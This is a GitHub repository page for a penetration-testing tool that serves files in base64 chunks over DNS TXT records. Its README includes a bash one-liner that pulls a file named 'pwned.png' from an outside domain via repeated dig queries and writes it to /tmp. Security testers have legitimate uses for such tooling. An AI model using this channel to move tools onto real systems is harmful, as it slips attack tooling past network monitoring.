Skip to content

Uninvited Guest - A file server for files over DNS TXT records

License

Notifications You must be signed in to change notification settings

pentestpartners/Uninvited-Guest

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

Uninvited-Guest

Uninvited Guest - A file server for files over DNS TXT records

First set up your domain to point to which ever server you're hosting this on.

Then run the python server

./server --domain domainname.com --directory /dir/of/tools

It will only support a flat directory structure in /dir/of/tools

You will need to write your own client to receive files. The count of items will be in file.count.domainname.com and the strings will be in file.number.domainname.com.

An example bash client would be something like:

f="pwned.png";d="6-9.eu";c=$(dig +short txt $f.count.$d|tr -d \");for i in $(seq 0 $c);do echo -n $(dig +short txt $f.$i.$d|tr -d \");done | base64 -d > /tmp/pwned.png

About

Uninvited Guest - A file server for files over DNS TXT records

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages